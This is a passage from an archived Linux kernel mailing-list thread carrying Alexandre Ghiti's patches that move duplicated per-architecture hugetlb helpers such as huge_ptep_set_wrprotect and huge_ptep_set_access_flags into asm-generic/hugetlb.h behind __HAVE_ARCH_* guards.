--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -18,6 +18,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 					 unsigned long addr,
 					 unsigned long len)
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 5a102d7251e4..fb7e0fd858a3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -22,6 +22,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 7123599089c6..69c14ecac133 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -117,21 +117,6 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 54f65094efe6..f1bbd255ee43 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -15,6 +15,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index f661362376e0..2101ea217f33 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -26,22 +26,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 3cd3a2c9840e..59c056adb3c9 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,21 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index cd9697672b79..6c0c8b0c71e0 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -87,4 +87,19 @@ static inline pte_t huge_pte_wrprotect(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
+static inline int prepare_hugepage_range(struct file *file,
+		unsigned long addr, unsigned long len)
+{
+	struct hstate *h = hstate_file(file);
+
+	if (len & ~huge_page_mask(h))
+		return -EINVAL;
+	if (addr & ~huge_page_mask(h))
+		return -EINVAL;
+
+	return 0;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 09/11] hugetlb: Introduce generic version of huge_ptep_set_wrprotect
Date: Tue, 31 Jul 2018 06:01:53 +0000
Lines: 217
Approved: news@gmane.org
Message-ID: <20180731060155.16915-10-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533017476 6298 195.159.176.226 (31 Jul 2018 06:11:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:11:16 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:11:09 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNs8-0001Oi-Qz
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:11:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1730196AbeGaHvv (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:51:51 -0400
Original-Received: from relay3-d.mail.gandi.net ([217.70.183.195]:46003 "EHLO
        relay3-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726824AbeGaHvu (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:51:50 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay3-d.mail.gandi.net (Postfix) with ESMTPSA id 60F2060002;
        Tue, 31 Jul 2018 06:13:03 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834710 gmane.linux.kernel.mm:200891 gmane.linux.ports.arm.kernel:666844 gmane.linux.ports.ia64:29012 gmane.linux.ports.mips.general:65784 gmane.linux.ports.parisc:28849 gmane.linux.ports.ppc64.devel:160658 gmane.linux.ports.sh.devel:57296 gmane.linux.ports.sparc:28155 gmane.linux.kernel.cross-arch:45533
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834710>

arm, ia64, mips, sh, x86 architectures use the same version
of huge_ptep_set_wrprotect, so move this generic implementation into
asm-generic/hugetlb.h.
Note: powerpc uses twice for book3s/32 and nohash/32 the same version as
the above architectures, but the modification was not straightforward
and hence has not been done.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h        | 6 ------
 arch/arm64/include/asm/hugetlb.h             | 1 +
 arch/ia64/include/asm/hugetlb.h              | 6 ------
 arch/mips/include/asm/hugetlb.h              | 6 ------
 arch/parisc/include/asm/hugetlb.h            | 1 +
 arch/powerpc/include/asm/book3s/32/pgtable.h | 2 ++
 arch/powerpc/include/asm/book3s/64/pgtable.h | 1 +
 arch/powerpc/include/asm/nohash/32/pgtable.h | 2 ++
 arch/powerpc/include/asm/nohash/64/pgtable.h | 1 +
 arch/sh/include/asm/hugetlb.h                | 6 ------
 arch/sparc/include/asm/hugetlb.h             | 1 +
 arch/x86/include/asm/hugetlb.h               | 6 ------
 include/asm-generic/hugetlb.h                | 8 ++++++++
 13 files changed, 17 insertions(+), 30 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index b897541520ef..8247cd6a2ac6 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3e7f6e69b28d..f4f69ae5466e 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index cbe296271030..49d1f7949f3a 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 6ff2531cfb1d..3dcf5debf8c4 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,12 +63,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index fb7e0fd858a3..9c3950ca2974 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -39,6 +39,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/book3s/32/pgtable.h b/arch/powerpc/include/asm/book3s/32/pgtable.h
index 02f5acd7ccc4..d2cd1d0226e9 100644
--- a/arch/powerpc/include/asm/book3s/32/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/32/pgtable.h
@@ -228,6 +228,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
+
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/book3s/64/pgtable.h b/arch/powerpc/include/asm/book3s/64/pgtable.h
index 42aafba7a308..7d957f7c47cd 100644
--- a/arch/powerpc/include/asm/book3s/64/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/64/pgtable.h
@@ -451,6 +451,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 		pte_update(mm, addr, ptep, 0, _PAGE_PRIVILEGED, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/nohash/32/pgtable.h b/arch/powerpc/include/asm/nohash/32/pgtable.h
index 7c46a98cc7f4..f39e200d9591 100644
--- a/arch/powerpc/include/asm/nohash/32/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/32/pgtable.h
@@ -249,6 +249,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
+
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/nohash/64/pgtable.h b/arch/powerpc/include/asm/nohash/64/pgtable.h
index dd0c7236208f..69fbf7e9b4db 100644
--- a/arch/powerpc/include/asm/nohash/64/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/64/pgtable.h
@@ -238,6 +238,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 	pte_update(mm, addr, ptep, _PAGE_RW, 0, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f1bbd255ee43..8df4004977b9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,12 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 2101ea217f33..c41754a113f3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 59c056adb3c9..a3f781f7a264 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,12 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 6c0c8b0c71e0..9b9039845278 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -102,4 +102,12 @@ static inline int prepare_hugepage_range(struct file *file,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
+static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_set_wrprotect(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 10/11] hugetlb: Introduce generic version of huge_ptep_set_access_flags
Date: Tue, 31 Jul 2018 06:01:54 +0000
Lines: 171
Approved: news@gmane.org
Message-ID: <20180731060155.16915-11-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533017540 10781 195.159.176.226 (31 Jul 2018 06:12:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:12:20 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:12:14 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNtF-0002dN-EM
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:12:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731119AbeGaHw7 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:52:59 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:43561 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727308AbeGaHw7 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:52:59 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id 4FF511BF203;
        Tue, 31 Jul 2018 06:14:09 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834711 gmane.linux.kernel.mm:200892 gmane.linux.ports.arm.kernel:666845 gmane.linux.ports.ia64:29013 gmane.linux.ports.mips.general:65785 gmane.linux.ports.parisc:28850 gmane.linux.ports.ppc64.devel:160659 gmane.linux.ports.sh.devel:57297 gmane.linux.ports.sparc:28156 gmane.linux.kernel.cross-arch:45534
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834711>

arm, ia64, sh, x86 architectures use the same version
of huge_ptep_set_access_flags, so move this generic implementation
into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 7 -------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 7 -------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 7 -------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 7 -------
 include/asm-generic/hugetlb.h         | 9 +++++++++
 10 files changed, 14 insertions(+), 28 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 8247cd6a2ac6..54e4b097b1f5 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,11 +37,4 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 #endif /* _ASM_ARM_HUGETLB_3LEVEL_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index f4f69ae5466e..80887abcef7f 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 49d1f7949f3a..e9b42750fdf5 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,13 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 3dcf5debf8c4..120adc3b2ffd 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,6 +63,7 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9c3950ca2974..165b4e5a6f32 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -43,6 +43,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 69c14ecac133..658bf7136a3c 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -137,6 +137,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 8df4004977b9..c87195ae0cfa 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,13 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index c41754a113f3..028a1465fbe7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -40,6 +40,7 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index a3f781f7a264..574d42eb081e 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,13 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9b9039845278..f3c99a03ee83 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -110,4 +110,13 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
+static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep,
+		pte_t pte, int dirty)
+{
+	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
+}
